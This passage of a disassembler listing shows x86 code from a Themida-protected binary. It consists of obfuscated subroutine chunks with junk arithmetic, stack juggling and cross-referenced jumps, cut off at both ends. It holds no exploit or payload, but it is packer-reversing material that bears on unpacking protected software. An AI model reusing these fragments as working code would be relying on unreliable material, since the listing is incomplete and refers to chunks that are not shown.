72960BEEh shr ecx, 8 push 0 jmp loc_56EADA ; END OF FUNCTION CHUNK FOR sub_56616D ; =============== S U B R O U T I N E ======================================= sub_56D2D2 proc near ; CODE XREF: sub_572E16-93E4j var_4 = dword ptr -4 push ebx sub [esp+4+var_4], 70EA267Dh mov eax, [esp+4+var_4] add esp, 4 jmp sub_56A119 sub_56D2D2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568D93 loc_56D2E5: ; CODE XREF: sub_568D93+6j sub ebx, ebp pop ebp jmp loc_56303E ; END OF FUNCTION CHUNK FOR sub_568D93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_575315 loc_56D2ED: ; CODE XREF: sub_575315-11C2Ej pop ebx jmp loc_567899 ; END OF FUNCTION CHUNK FOR sub_575315 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5722C8 loc_56D2F3: ; CODE XREF: sub_5722C8-7DC1j pop esi pop [esp+4+var_4] mov esp, [esp+0] sub esp, 4 mov [esp+0], edi push 147h mov [esp+4+var_4], esp add [esp+4+var_4], 4 push [esp+4+var_4] pop edi jmp loc_572A86 ; END OF FUNCTION CHUNK FOR sub_5722C8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569E1B loc_56D315: ; CODE XREF: sub_569E1B+44F9j mov dh, 7Eh jmp loc_5709B8 ; END OF FUNCTION CHUNK FOR sub_569E1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560EA2 loc_56D31C: ; CODE XREF: sub_560EA2+21BFj sub [esp+0Ch+var_C], 72CF6641h mov ecx, [esp+0Ch+var_C] add esp, 4 add ecx, 72CF6641h pop edx push ebx mov ebx, 14B50A0Bh jmp loc_572E36 ; END OF FUNCTION CHUNK FOR sub_560EA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56D33B: ; CODE XREF: sub_564D26+783j pop eax add esp, 4 mov ecx, [esp+8+var_8] add esp, 4 sub esp, 4 mov [esp+8+var_8], ebp push edi mov edi, 4B6E02CDh jmp loc_564F6C ; END OF FUNCTION CHUNK FOR sub_564D26 ; =============== S U B R O U T I N E ======================================= sub_56D359 proc near ; DATA XREF: Themida_:0055FE14o var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00561733 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056464F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005646CE SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00567710 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00569444 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00569670 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00569A52 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056DA9D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056FC5D SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005723B1 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00572959 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0057332D SIZE 0000000A BYTES push dword ptr [esp+0] jmp loc_572959 sub_56D359 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E96D loc_56D361: ; CODE XREF: sub_56E96D+1AD6j push esi mov esi, 505C6FF0h not esi push edx jmp loc_56C4F3 ; END OF FUNCTION CHUNK FOR sub_56E96D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_56D36F: ; CODE XREF: sub_570732-68B0j push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+14h+var_14] pop esp xchg edi, [esp+10h+var_10] pop esp or [edi+1Ch], ebp jmp loc_56FC83 ; END OF FUNCTION CHUNK FOR sub_570732 ; --------------------------------------------------------------------------- loc_56D38C: ; CODE XREF: Themida_:00573988j mov ebx, 62BD3435h shl ebx, 6 push 2EDCh jmp loc_5752EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56959A loc_56D39E: ; CODE XREF: sub_56959A+1526j add ecx, ebx pop ebx pop edx push esi mov esi, 2 add ecx, esi jmp loc_56913E ; END OF FUNCTION CHUNK FOR sub_56959A ; =============== S U B R O U T I N E ======================================= sub_56D3AF proc near ; DATA XREF: Themida_:0055FDACo var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00561A46 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00562EBE SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00564F99 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005697FA SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056EABF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056EF88 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00570CC5 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0057160C SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00575070 SIZE 00000009 BYTES push dword ptr [esp+0] jmp loc_56EABF sub_56D3AF endp ; =============== S U B R O U T I N E ======================================= sub_56D3B7 proc near ; DATA XREF: Themida_:0055FDCCo var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005637CB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00565CCA SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005681D4 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00569AD5 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00570236 SIZE 0000000A BYTES push dword ptr [esp+0] pop eax sub esp, 4 mov [esp+4+var_4], esi jmp loc_5681D4 sub_56D3B7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567CF5 loc_56D3C6: ; CODE XREF: sub_567CF5-48E3j dec ebp xor ebp, 53733010h add edx, 2D615C1Eh add edx, ebp jmp loc_57105B ; END OF FUNCTION CHUNK FOR sub_567CF5 ; --------------------------------------------------------------------------- loc_56D3DA: ; CODE XREF: Themida_:0056CE57j add ecx, edi pop edi xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp add [esp], al pushf jmp loc_55FF9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_56D3F0: ; CODE XREF: sub_5678CB-7506j pop esp mov [esp+0], ecx mov cl, 19h jmp loc_56309C ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5747FA loc_56D3FB: ; CODE XREF: sub_5747FA+AEBj add eax, ecx jmp loc_573F27 ; END OF FUNCTION CHUNK FOR sub_5747FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566F55 loc_56D402: ; CODE XREF: sub_566F55+2D21j add esp, 4 add edi, 4 add edi, 4 push edi jmp loc_56D043 ; END OF FUNCTION CHUNK FOR sub_566F55 ; =============== S U B R O U T I N E ======================================= sub_56D414 proc near ; DATA XREF: Themida_:0055FF24o var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0057147A SIZE 00000008 BYTES mov ax, [esp+0] push 7CE5h mov [esp+4+var_4], ecx sub esp, 4 jmp loc_57147A sub_56D414 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_56D428: ; CODE XREF: sub_565632+31D7j xchg ebx, [esp-0Ch+arg_8] mov esp, [esp-0Ch+arg_8] push 7BE7h mov [esp-8+arg_4], ebp push edi mov edi, 3FA22636h shl edi, 3 shl edi, 4 jmp loc_571FBD ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D464 loc_56D447: ; CODE XREF: sub_56D464-2358j pop esp mov [esp+8+var_8], eax mov eax, 4 jmp loc_563E50 ; END OF FUNCTION CHUNK FOR sub_56D464 ; =============== S U B R O U T I N E ======================================= sub_56D455 proc near ; DATA XREF: Themida_:0055FF0Co var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00565A15 SIZE 0000001D BYTES movzx ax, byte ptr [edx] sub esp, 4 jmp loc_565A15 sub_56D455 endp ; =============== S U B R O U T I N E ======================================= sub_56D464 proc near ; DATA XREF: Themida_:0055FCE0o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055FF9F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056088F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005618C7 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 0056272B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00563E50 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00566D4A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056A486 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056B0FE SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056D447 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056ECDC SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00570E43 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00573833 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00573924 SIZE 00000015 BYTES sub esp, 4 jmp loc_56088F sub_56D464 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56628B loc_56D46F: ; CODE XREF: sub_56628B+2352j mov esi, [esp+0Ch+var_C] add esp, 4 add esp, 4 sub eax, 6A271EE1h jmp loc_567D66 ; END OF FUNCTION CHUNK FOR sub_56628B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B1DC loc_56D482: ; CODE XREF: sub_56B1DC+3F6Dj add ecx, 9D83F363h and esi, ecx pop ecx shr esi, 3 push ebp sub esp, 4 mov [esp+10h+var_10], esi mov esi, 4D606BBDh inc esi inc esi push eax mov eax, 337D2FC3h xor esi, eax mov eax, [esp+14h+var_14] add esp, 4 push esi xor [esp+14h+var_14], 30E9010Bh pop ebp jmp loc_561F1F ; END OF FUNCTION CHUNK FOR sub_56B1DC ; =============== S U B R O U T I N E ======================================= sub_56D4B8 proc near ; CODE XREF: sub_574656-5FA8j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00560B19 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005612BA SIZE 00000046 BYTES ; FUNCTION CHUNK AT 005626B6 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00563BFB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056495E SIZE 0000005C BYTES ; FUNCTION CHUNK AT 0056656B SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00567646 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00567EF6 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00569C9F SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0056AD12 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00570A68 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00571DE2 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00574048 SIZE 00000022 BYTES push ebp mov ebp, 4 add esi, ebp mov ebp, [esp+0] add esp, 4 xchg esi, [esp+4+var_4] pop esp sub ecx, 7DBB3655h inc ecx push 282h mov [esp+4+var_4], ebp mov ebp, 50145640h and ecx, ebp pop ebp push edi jmp loc_567646 sub_56D4B8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566DFE loc_56D4EA: ; CODE XREF: sub_566DFE+79EFj neg edi jmp loc_5719A5 ; END OF FUNCTION CHUNK FOR sub_566DFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563FA2 loc_56D4F1: ; CODE XREF: sub_563FA2+3322j xor eax, 4CA665CAh jmp loc_573D29 ; END OF FUNCTION CHUNK FOR sub_563FA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574F16 loc_56D4FB: ; CODE XREF: sub_574F16-BAD7j push ecx mov ecx, esp jmp loc_566506 ; END OF FUNCTION CHUNK FOR sub_574F16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5722C8 loc_56D503: ; CODE XREF: sub_5722C8-B5BFj pop ecx add edi, 4 push edi jmp loc_56751C ; END OF FUNCTION CHUNK FOR sub_5722C8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568E5C loc_56D50D: ; CODE XREF: sub_568E5C+51DEj sub edx, 0ABB2D2F3h mov ebp, edx pop edx push edi push ebx mov ebx, 55EC4E62h push edx jmp loc_57352C ; END OF FUNCTION CHUNK FOR sub_568E5C ; --------------------------------------------------------------------------- loc_56D523: ; CODE XREF: Themida_:00567D50j mov [esp], esi mov esi, 35B243DDh and esi, 608B7DE3h shl esi, 3 neg esi shr esi, 1 sub esi, 15886344h add esi, 16D46F13h or ebx, esi pop esi jmp loc_56B34C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5684A6 loc_56D54C: ; CODE XREF: sub_5684A6+6433j xor esi, [esp+4+var_4] jmp loc_565C22 ; END OF FUNCTION CHUNK FOR sub_5684A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_56D554: ; CODE XREF: sub_574304-12744j add ebx, ebp jmp loc_565D36 ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5604FE loc_56D55B: ; CODE XREF: sub_5604FE+EF45j inc edi push eax mov eax, 3DA64937h or edi, eax pop eax jmp loc_56C080 ; END OF FUNCTION CHUNK FOR sub_5604FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570E81 loc_56D56A: ; CODE XREF: sub_570E81-2AC7j sub [esp+arg_0], eax push 0A6Dh mov [esp+4+var_4], ebp push edi mov edi, 548047F4h mov ebp, edi pop edi add [esp+4+arg_0], ebp pop ebp jmp sub_56DBD1 ; END OF FUNCTION CHUNK FOR sub_570E81 ; =============== S U B R O U T I N E ======================================= sub_56D589 proc near ; CODE XREF: sub_56E126-B5E2j ; FUNCTION CHUNK AT 005716C7 SIZE 00000008 BYTES push ebx mov ebx, 14764074h jmp loc_5716C7 sub_56D589 endp ; --------------------------------------------------------------------------- loc_56D594: ; CODE XREF: Themida_:00563097j add esp, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_5730E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574896 loc_56D5A5: ; CODE XREF: sub_574896-20D7j push ecx mov ecx, 5F0A3606h sub ecx, 5F0A3602h jmp loc_5602A2 ; END OF FUNCTION CHUNK FOR sub_574896 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573612 loc_56D5B6: ; CODE XREF: sub_573612-374Fj mov eax, [esp+0Ch+var_C] add esp, 4 add ebx, 2 jmp loc_56AC96 ; END OF FUNCTION CHUNK FOR sub_573612 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_56D5C7: ; CODE XREF: sub_57354D-EF46j pop edi jmp loc_56BBB3 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57109F loc_56D5CD: ; CODE XREF: sub_57109F+8j push edi mov edi, 0FEh mov esi, edi pop edi and [edi+1Ch], esi push [esp+4+var_4] push [esp+8+var_8] pop esi push edi jmp loc_56B881 ; END OF FUNCTION CHUNK FOR sub_57109F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_56D5E6: ; CODE XREF: sub_570732-4E3Cj mov [esp+0], edx push eax push ebp push ebx mov ebx, 49A27181h mov ebp, 0A9EEC42Bh sub ebp, ebx pop ebx jmp loc_569B14 ; END OF FUNCTION CHUNK FOR sub_570732 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E126 loc_56D5FE: ; CODE XREF: sub_56E126-C53Bj inc [esp+8+var_8] jmp loc_5728DE ; END OF FUNCTION CHUNK FOR sub_56E126 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_56D606: ; CODE XREF: sub_56B06D-36BFj add esp, 4 or ecx, ecx jz loc_565954 push esi push esp pop esi add esi, 4 jmp loc_573CE5 ; --------------------------------------------------------------------------- loc_56D61F: ; CODE XREF: sub_56B06D-53C2j add ecx, ebx add ecx, 59BE033Ch push 7348h mov [esp+18h+var_18], edi jmp loc_563917 ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56102D loc_56D634: ; CODE XREF: sub_56102D+99F9j and edi, 539865F4h sub edi, 0F20C1855h xor eax, edi jmp loc_5677A6 ; END OF FUNCTION CHUNK FOR sub_56102D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E126 loc_56D647: ; CODE XREF: sub_56E126-92D4j add edi, 53D93622h mov ebx, [esp+4+var_4] add esp, 4 push 5C00h mov [esp+4+var_4], esi push edx push 32FC6AD3h pop edx or edx, 0F0543BBh not edx or edx, 0A48390Dh add edx, 544B5C31h mov esi, edx pop edx sub esp, 4 mov [esp+8+var_8], ecx push edi mov edi, 21B154C3h jmp loc_56C75F ; END OF FUNCTION CHUNK FOR sub_56E126 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574FC9 loc_56D68D: ; CODE XREF: sub_574FC9-7E11j add eax, 4 sub eax, 4 xchg eax, [esp+4+var_4] jmp loc_56EA5F ; END OF FUNCTION CHUNK FOR sub_574FC9 ; =============== S U B R O U T I N E ======================================= sub_56D69D proc near ; DATA XREF: Themida_:0055FD24o var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00562460 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00563AF2 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00563C11 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00565626 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00565875 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00567442 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005695CF SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056BF9D SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0056ECCF SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056F7B3 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00570B6B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00571737 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00571E91 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0057283A SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00572DA4 SIZE 0000000D BYTES lodsd sub esp, 4 mov [esp+4+var_4], edx mov edx, 15227350h sub eax, 6D893315h sub eax, edx add eax, 6D893315h pop edx add eax, 126F7465h sub eax, ebx sub eax, 126F7465h push 105Ch mov [esp+4+var_4], edi mov edi, 15227350h push 1AE7h mov [esp+8+var_8], ebp push edx jmp loc_57283A sub_56D69D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_56D6DD: ; CODE XREF: sub_56B06D+3BA5j push eax mov eax, 73C87D0Fh or eax, 3C440D48h jmp loc_56799F ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56D6ED: ; CODE XREF: sub_564D26+A866j add esp, 4 sub edx, 0F7A28A87h mov edi, edx pop edx jmp loc_56E988 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574FC9 loc_56D701: ; CODE XREF: sub_574FC9+4j push esi mov esi, esp push ecx push edi mov edi, esp add edi, 4 sub edi, 4 xor edi, [esp+0Ch+var_C] xor [esp+0Ch+var_C], edi xor edi, [esp+0Ch+var_C] pop esp jmp loc_567AFB ; END OF FUNCTION CHUNK FOR sub_574FC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56189F loc_56D720: ; CODE XREF: sub_56189F+8E85j shr ebp, 4 add ebp, 0D21A090Ah add edx, ebp pop ebp sub edi, 66F63577h sub edi, edx add edi, 66F63577h pop edx jmp loc_5619D9 ; END OF FUNCTION CHUNK FOR sub_56189F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5715F0 loc_56D740: ; CODE XREF: sub_5715F0+17j mov edi, 2A5A24FDh add [esp+8], edi pop edi add [esp+4], ecx push ecx mov ecx, 2A5A24FDh jmp loc_563DB0 ; END OF FUNCTION CHUNK FOR sub_5715F0 ; --------------------------------------------------------------------------- loc_56D759: ; CODE XREF: Themida_:00566769j add edi, 4 push ebx mov ebx, 4 add edi, ebx jmp loc_571B65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C83E loc_56D76C: ; CODE XREF: sub_56C83E-84DEj push esi mov esi, 6BFD00F2h jmp loc_5721CD ; END OF FUNCTION CHUNK FOR sub_56C83E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5681F5 loc_56D777: ; CODE XREF: sub_5681F5+313Cj pop edx add edx, 4 jmp loc_5644A2 ; END OF FUNCTION CHUNK FOR sub_5681F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56657A loc_56D783: ; CODE XREF: sub_56657A+213Fj mov ebp, 0C7236CFh jmp loc_574361 ; END OF FUNCTION CHUNK FOR sub_56657A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5684A6 loc_56D78D: ; CODE XREF: sub_5684A6+650Cj pop ecx push edx mov edx, 10B4039h xor edx, 2A7C552Dh sub esp, 4 mov [esp+0Ch+var_C], ebx mov ebx, 50107BA3h and edx, ebx mov ebx, [esp+0Ch+var_C] add esp, 4 jmp loc_571DF1 ; END OF FUNCTION CHUNK FOR sub_5684A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5716E8 loc_56D7B8: ; CODE XREF: sub_5716E8+4j push 65h mov [esp+4+var_4], edi jmp sub_56EFD2 ; END OF FUNCTION CHUNK FOR sub_5716E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570B3C loc_56D7C5: ; CODE XREF: sub_570B3C-9E6Bj pop dword ptr [edx+38h] mov ebx, [esp+0] jmp loc_56594E ; END OF FUNCTION CHUNK FOR sub_570B3C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CC46 loc_56D7D0: ; CODE XREF: sub_56CC46+4D8j pop ebp mov ebp, esi mov esi, [esp+4+var_4] add esp, 4 push ecx mov ecx, 4CC13102h not ecx jmp loc_56B5A1 ; END OF FUNCTION CHUNK FOR sub_56CC46 ; --------------------------------------------------------------------------- loc_56D7E6: ; CODE XREF: Themida_:00564302j push ebx jmp loc_573307 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_56D7EC: ; CODE XREF: sub_57354D-CC8Ej xor eax, [esp+8+var_8] xor [esp+8+var_8], eax xor eax, [esp+8+var_8] pop esp jmp loc_573337 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5671E1 loc_56D7FB: ; CODE XREF: sub_5671E1-C12j add edi, ecx add edi, 6CFE34C2h pop ecx push esi mov esi, 72C13B6Fh add esi, 3CA85FDEh shr esi, 6 jmp loc_56B9DE ; END OF FUNCTION CHUNK FOR sub_5671E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_56D818: ; CODE XREF: sub_56AB5E-73D8j mov ebx, [esp+0Ch+var_C] add esp, 4 jmp loc_56DD6D ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560844 loc_56D823: ; CODE XREF: sub_560844-63Aj push 3772h jmp loc_5698FC ; END OF FUNCTION CHUNK FOR sub_560844 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_56D82D: ; CODE XREF: sub_574656-1080Bj pop [esp+4+var_4] jmp loc_56ED3F ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57146D loc_56D835: ; CODE XREF: sub_57146D-21D4j push edx jmp loc_56FD84 ; END OF FUNCTION CHUNK FOR sub_57146D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57236D loc_56D83B: ; CODE XREF: sub_57236D-58A4j or ebx, 1815688Eh neg ebx inc ebx add ebx, 551EA4F0h shl ebx, 6 shr ebx, 3 jmp loc_57026E ; END OF FUNCTION CHUNK FOR sub_57236D ; =============== S U B R O U T I N E ======================================= sub_56D855 proc near ; DATA XREF: Themida_:0055FE44o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = word ptr 4 ; FUNCTION CHUNK AT 00561490 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0056158E SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056163D SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005639FD SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005648BA SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005657CF SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005691E7 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056C910 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056CE3A SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056E220 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056E928 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0056EA2E SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005721C6 SIZE 00000007 BYTES mov cx, [esp+0] push eax jmp loc_561490 sub_56D855 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57146D loc_56D85F: ; CODE XREF: sub_57146D-25B4j push 0BBFh mov [esp+0], ebx mov bl, 0BBh xor al, bl mov ebx, [esp+0] add esp, 4 jmp loc_567E64 ; END OF FUNCTION CHUNK FOR sub_57146D ; --------------------------------------------------------------------------- loc_56D876: ; CODE XREF: Themida_:005699BAj push esp mov edi, [esp] add esp, 4 jmp loc_563BE7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573612 loc_56D885: ; CODE XREF: sub_573612-104EBj sub ebx, edi push [esp+0Ch+var_C] pop edi push esi mov esi, esp jmp loc_565493 ; END OF FUNCTION CHUNK FOR sub_573612 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56421E loc_56D893: ; CODE XREF: sub_56421E+1Aj xchg ebp, [esp+0] pop esp jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56421E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_56D89C: ; CODE XREF: sub_574304-13447j shl ecx, 3 sub ecx, 87C6E63h neg ecx jmp loc_574AD6 ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570E81 loc_56D8AC: ; CODE XREF: sub_570E81-41CFj not ebp sub esp, 4 mov [esp+0Ch+var_C], edx jmp loc_56EFB0 ; END OF FUNCTION CHUNK FOR sub_570E81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569FB8 loc_56D8BC: ; CODE XREF: sub_569FB8+AE5j sub ch, 4Ah add ch, 0B6h sub ch, bl sub ch, 0B6h add ch, 4Ah pop ebx jmp loc_570314 ; END OF FUNCTION CHUNK FOR sub_569FB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_56D8D0: ; CODE XREF: sub_561027+1531j and edi, 10937BBCh sub edi, 0D28D1EF3h or edx, edi mov edi, [esp+10h+var_10] add esp, 4 inc edx add edx, 80A0A144h add ebx, edx pop edx push edi jmp loc_560912 ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_56D8F4: ; CODE XREF: sub_561418+11669j pop esp xchg ecx, [esp+0Ch+var_C] pop esp jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_56D8FE: ; CODE XREF: sub_57354D+106Fj mov eax, 7569652Eh push ecx mov ecx, 16E73C9Ah push 0 sub [esp+14h+var_14], ecx pop ecx neg ecx shr ecx, 6 or ecx, 358A3734h add ecx, 0DDF3BA71h add eax, ecx pop ecx shr eax, 2 jmp loc_564702 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566DC7 loc_56D92E: ; CODE XREF: sub_566DC7+1j add [esp+8+var_8], 1B58508Dh pop ebp sub ebp, 1B58508Dh mov ebx, [esp+4+var_4] add esp, 4 push edx mov edx, 30323AA9h sub esi, edx mov edx, [esp+4+var_4] add esp, 4 jmp loc_5607B8 ; END OF FUNCTION CHUNK FOR sub_566DC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5754DA loc_56D958: ; CODE XREF: sub_5754DA-BDE1j push ecx 